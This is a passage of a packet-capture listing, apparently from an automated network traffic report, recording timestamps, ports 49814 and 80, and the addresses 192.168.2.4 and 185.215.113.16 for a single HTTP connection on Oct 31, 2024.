Oct 31, 2024 04:16:10.186542034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186553001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186563015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186568975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186604977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186606884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186613083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186619043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186625004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186629057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186644077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186650991 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186669111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186670065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186681032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186686039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186703920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186712980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186729908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186734915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186749935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186750889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186768055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186773062 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186786890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186805010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230622053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230633020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230658054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230671883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230696917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230705023 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230712891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230722904 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230756044 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230756998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230789900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230804920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230827093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230832100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230840921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230844021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230859995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230870962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230885029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230900049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230901957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230920076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230942011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230957031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230959892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230972052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.230981112 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.230988979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231004000 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231015921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231017113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231045008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231054068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231230021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231266975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231282949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231292963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231298923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231323957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231344938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231348038 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231364012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231401920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231432915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231446981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231462955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231477976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231486082 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231509924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231519938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231549025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231564045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231571913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231583118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231586933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231604099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231610060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231632948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231646061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231656075 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231687069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231699944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231708050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231726885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231734037 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231755018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231759071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231762886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231775999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231791019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231795073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231808901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231823921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231858015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231884003 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231901884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231904984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231930017 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231945992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.231965065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231983900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.231997967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232009888 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232017040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232027054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232037067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232053041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232059956 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232089043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232108116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232131958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232147932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232157946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232166052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232186079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232191086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232196093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232198000 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232224941 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232245922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232247114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232275009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232290983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232312918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232332945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232337952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232359886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232378960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232383966 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232399940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232399940 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232414961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232420921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232436895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232455969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232460976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232482910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232501030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232521057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232532978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232548952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232554913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232569933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232573986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232587099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232594013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232608080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232610941 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232628107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232640982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232646942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232657909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232673883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232680082 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232690096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232695103 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232706070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232707977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232722998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232726097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232748032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232763052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232765913 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232779980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232795000 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232809067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232825041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232825994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232841015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232848883 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232868910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232877970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232892990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232893944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232909918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232917070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232925892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232933044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232952118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232961893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232969046 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.232978106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.232994080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233005047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233006001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233016014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233036041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233038902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233059883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233073950 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233088970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233098984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233105898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233119011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233123064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233146906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233161926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233172894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233175993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233191013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233201027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233207941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233216047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233225107 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233234882 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233242035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233247042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233268023 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233275890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233277082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233309031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233324051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233328104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233345985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233346939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233355999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233362913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233376980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233377934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233407974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233411074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233427048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233442068 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233458996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233463049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233474970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233478069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233490944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233511925 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233530045 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233534098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233546972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233562946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233577967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233587980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233594894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233614922 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233624935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233644962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233659983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233675957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233685017 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233691931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233692884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233707905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233716965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233721018 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233736992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233736992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233747005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233755112 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233767033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233777046 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233794928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233800888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233815908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233830929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233844995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233860016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233863115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233875990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233881950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233892918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233927011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233946085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233954906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233971119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.233982086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.233990908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234013081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234020948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234030962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234035969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234069109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234072924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234085083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234097958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234122992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234124899 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234134912 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234148979 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234162092 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234162092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234178066 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234191895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234201908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234205961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234214067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234224081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234236956 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234239101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234246969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234263897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234282970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234323978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234368086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234390974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234414101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234428883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234435081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234443903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234445095 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234462023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234468937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234479904 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234496117 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234528065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234541893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234555960 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234570980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.234581947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234581947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234601974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.234615088 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.277487993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.277513981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.277528048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.277545929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.277554989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.277573109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301701069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301758051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301801920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301834106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301847935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301857948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301871061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301872969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301896095 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301907063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301909924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301925898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301950932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301959038 CET	80	49814	185.215.113.16	192.168.2.4
